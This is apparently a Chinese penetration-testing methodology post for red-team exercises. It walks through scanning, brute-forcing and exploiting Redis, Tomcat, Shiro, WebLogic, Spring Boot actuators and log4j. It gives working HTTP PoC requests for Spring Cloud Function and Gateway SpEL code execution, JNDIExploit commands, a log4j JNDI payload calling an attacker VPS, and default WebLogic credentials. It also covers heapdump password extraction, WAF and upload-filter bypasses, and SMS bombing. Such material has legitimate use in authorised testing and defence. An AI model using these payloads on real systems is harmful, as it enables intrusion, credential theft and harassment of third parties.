前言

1、做渗透由始至终,忌讳穿插其他项目进行

2、按顺序细心测试每一个功能点,保证漏洞无遗漏

3、山穷水复疑无路,柳暗花明又一村,一个点利用不到,可以灵活变通尝试其他方向

漏扫工具

AWVS

image-20220331013310459

Xray

image-20220331013412371

端口扫描

端口扫描可发现系统开放的端口

image-20220319235529607

21、22、3306等远程端口,可使用超级弱口令工具或者railgun自带模块进行暴力破解

image-20220331014528307

6379端口可以尝试redis未授权,使用计划任务等方式弹shell

image-20220331014350104

image-20220331014318154

image-20220331014422012

8080端口可尝试tomcat弱口令部署war包getshell

image-20220331023032682

image-20220331023055386

目录扫描

通过目录扫描可以发现系统中存在的脆弱性问题,方便我们进行下一步渗透

对于一些403的页面,可以进行二级目录扫描

dirsearch

Jsfinder

image-20220331031534531

识别系统使用框架

可通过指纹工具识别出所使用的框架或者产品

Wappalyzer

image-20220331022834442

tidefinger

image-20220331133631529

CMS二次开发站点

通过目录扫描发现带有cms标识残留页面或者通过图标判断出

image-20220331022535520

通过漏洞库查找相关未修复的漏洞

image-20220331033033253

struts2

一般使用struts2框架后缀带do或action,可以尝试进行利用

image-20220319225637171

后缀为action,可能使用了struts2框架,使用工具尝试进行利用

image-20220319230052453

命令执行成功

image-20220319230149194

shiro

shiro框架识别可通过数据包中是否含有rememberme字段进行判断

image-20220319230728747

登录抓取数据包,发现存在rememberme字段,判断为shiro框架,尝试进行

image-20220319230910948

检测当前密钥和利用链是否存在

image-20220319231223286

两者存在利用成功

image-20220319231810698

在攻防演练里getshell后还可以对key进行修改,防止其他队伍得分

image-20220319233134592

使用潘神的一键改key工具,可看到key已经被修改

image-20220319233455860

weblogic

框架识别

访问7001端口出现下面这种截图,可能存在weblogic漏洞

image-20220319234134049

使用weblogic漏洞利用工具,检测是否存在漏洞

image-20220319234403587

执行命令

image-20220319234721997

weblogic弱口令

输入console可跳转至登录界面,可以测试是否使用默认口令

1
2
3
4
5
6
system/password
weblogic/weblogic
admin/security
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem

image-20220320002114176

springboot

框架识别

1、通过 web 应用程序网页标签的小绿叶图标(favicon.ico)

2、通过 springboot 框架默认报错页面

image-20220330142327249

目录扫描接口

推荐章神的railgun,有对应的springboot字典

image-20220330164514435

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/env、/actuator/env
GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文,同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。

/refresh、/actuator/refresh
POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。

/restart、/actuator/restart
暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。

/jolokia、/actuator/jolokia
可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。

/trace、/actuator/httptrace
一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie等信息。

springboot exploit

目标地址填入要测试的url,点击检测环境,然后点击检测当前利用链

image-20220330151019740

1
2
java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0
服务器地址填入目标地址,选择相应的端口

image-20220330155431272

heapdump密码获取

1
2
/heapdump
/actuator/heapdump

使用Eclipse Memory Analyzer进行分析

http://www.eclipse.org/downloads/download.php?file=/mat/1.12.0/rcp/MemoryAnalyzer-1.12.0.20210602-win32.win32.x86_64.zip

1
2
3
4
select s from java.lang.String s where /pass/.test(s.value.toString())
select * from org.springframework.web.context.support.StandardServletEnvironment
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

image-20220330001919539

springboot function spel rce

发送poc,成功执行命令

1
2
3
4
5
6
7
POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

xxx

image-20220327032802779

springboot gateway

添加一个路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

刷新令路由生效

1
2
3
4
5
6
7
8
9
POST /actuator/gateway/refresh HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

访问触发漏洞

1
2
3
4
5
6
7
8
9
GET /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

删除路由

1
2
3
4
5
6
7
8
DELETE /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Length: 4

image-20220407191848840

工具检测

https://github.com/chaosec2021/CVE-2022-22947-POC

image-20220407191740193

log4j

https://github.com/f0ng/log4j2burpscanner

image-20220331030350936

1
2
java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0
payload=${jndi:ldap://vps地址:1234/TomcatBypass/TomcatEcho}

image-20220331025549129

常见功能点漏洞

SQL注入挖掘

遇到参数后面带数字的,可以使用1=1、1=2判断是否存在sql注入

image-20220330175405470

image-20220330175428256

抓取数据包,使用sqlmap进行注入测试

image-20220331021519362

测试成功

image-20220331021456392

但在测试过程中可能会遇到被waf拦截的情况

image-20220330175133211

可以fuzz被拦截的字符,有针对性进行绕过

image-20220330175110730

api接口账密信息泄露

通过查看系统的js文件,检索字段如id、pass、url等关键字

image-20220331024002430

image-20220331023652321

接口参数发现

常见于任意文件读取、下载、包含漏洞

arjun+fuzz

image-20220331021833719

知道参数为file 构造 https://10.10.10.127/system_wws/include.php?file= 使用字典对可读取文件进行fuzz

image-20220331022215012

image-20220331014748257

敏感信息泄露

通过对某个字段进行置空,回显数据包中泄露了大量的手机号、姓名、住址等敏感信息

image-20220331030911387

越权漏洞

通过修改post数据包字段的数值,可进行越权操作,查看其他用户的个人信息

image-20220331133121580

短信问题

短信轰炸

对数据包进行重放,实现单用户收到多条短信的效果

短信定向转发

对数据包中的手机号进行遍历,实现一条短信转发给多个用户效果

image-20220331033700502

image-20220331033804194

未授权访问

https://github.com/rtcatc/Packer-Fuzzer

image-20220331130021164

image-20220331125617923

文件上传

黑名单过滤php后缀,尝试php3、php5、phtml等进行绕过

image-20220331130059615

存在文件解析漏洞,比如apache的从右往左进行解析,可添加.xxx进行绕过

image-20220331130232112

fuzz其他上传接口比如file、upload、uploadfile等,可能会存在其他接口不检验的问题,但实战中很少

暴力破解

之前我们一般暴力破解都是以admin为账号,去爆破top1000的字典,去根据状态码、长度筛选爆破结果

image-20220331131852241

但是admin管理员账户一般是强口令,很难进行爆破,且部分密码进行加密,寻找js解密耗费时间久,对于admin建议尝试几个admin123、123456这些,如果没有的话我们应该选择其他的思路,固定密码123456、000000去爆破姓名拼音用户名

image-20220331132325162

凑洞环节

后台地址泄露

image-20220319222555784

不安全的http请求方式

image-20220331024443885

垃圾数据写入

image-20220331133446918

用户名枚举

image-20220331033149623

image-20220331033205345

image-20220331033132570

中间件版本信息泄露

image-20220331130338929

多点会话登录

image-20220331130416995